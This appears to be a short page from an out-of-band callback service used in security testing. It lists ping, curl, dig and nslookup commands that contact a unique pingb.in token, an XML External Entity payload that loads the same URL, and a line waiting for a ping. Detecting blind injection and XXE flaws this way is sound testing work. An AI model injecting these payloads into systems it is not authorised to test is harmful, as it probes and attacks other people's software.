$ ping -c1 -p 003f3453a4dc570633cef598bd550b00 pingb.in
 
$ curl pingb.in/p/3f3453a4dc570633cef598bd550b
 
$ dig 3f3453a4dc570633cef598bd550b @pingb.in
 
$ dig 3f3453a4dc570633cef598bd550b.ns.pingb.in
 
C:\> nslookup 3f3453a4dc570633cef598bd550b pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/3f3453a4dc570633cef598bd550b">]>
    <foo>&xxe;</foo>
 
Waiting for ping...